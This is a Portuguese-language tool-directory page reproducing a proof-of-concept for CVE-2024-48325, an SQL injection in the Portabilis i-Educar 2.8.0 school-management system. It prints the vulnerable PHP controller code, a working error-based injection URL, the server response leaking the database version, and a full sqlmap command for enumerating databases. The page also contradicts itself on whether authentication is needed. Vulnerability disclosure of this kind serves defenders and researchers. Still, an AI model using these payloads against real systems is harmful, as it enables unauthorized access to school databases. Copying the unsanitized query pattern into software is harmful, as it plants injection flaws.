Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2024-48325 — Prova de conceito para injeção de SQL no Portabilis i-Educar 2.8.0, demonstrando acesso não autenticado ao banco de dados via endpoint getDocuments com exploração automatizada usando SQLMap. | Kitploit
Ferramentas/GitHubGitHub/osvaldotenorio/cve-2024-48325
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubosvaldotenorio/cve-2024-48325

cve-2024-48325

Prova de conceito para injeção de SQL no Portabilis i-Educar 2.8.0, demonstrando acesso não autenticado ao banco de dados via endpoint getDocuments com exploração automatizada usando SQLMap.

Ver Repositório
30há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-48325

Descrição: Um usuário autenticado pode explorar uma vulnerabilidade de injeção de SQL existente na função getDocuments da classe InstituicaoDocumentacaoController. O parâmetro instituicao_id em /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id não é sanitizado corretamente, permitindo que um atacante remoto autenticado injete comandos SQL maliciosos.

Versões: Descoberto no Portabilis i-Educar 2.8.0.

Prova de Conceito

Detalhes da Vulnerabilidade

O problema está presente na função getDocuments da classe InstituicaoDocumentacaoController, que pode ser acionada por meio do seguinte endpoint:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

Como a Vulnerabilidade Ocorre

O parâmetro instituicao_id é usado diretamente em consultas SQL sem sanitização ou parametrização adequadas. Isso permite que atacantes enviem requisições HTTP maliciosas para injetar comandos SQL, obtendo potencialmente acesso não autorizado ao banco de dados ou manipulando dados.

  • Exemplo de endpoint que aciona a vulnerabilidade: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
  • Exemplo de exploit: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

Resposta do servidor:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

Exploração Automatizada

  • Esta vulnerabilidade também pode ser explorada por ferramentas automatizadas como o SQLMap, permitindo a enumeração do banco de dados: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

Baixar ferramenta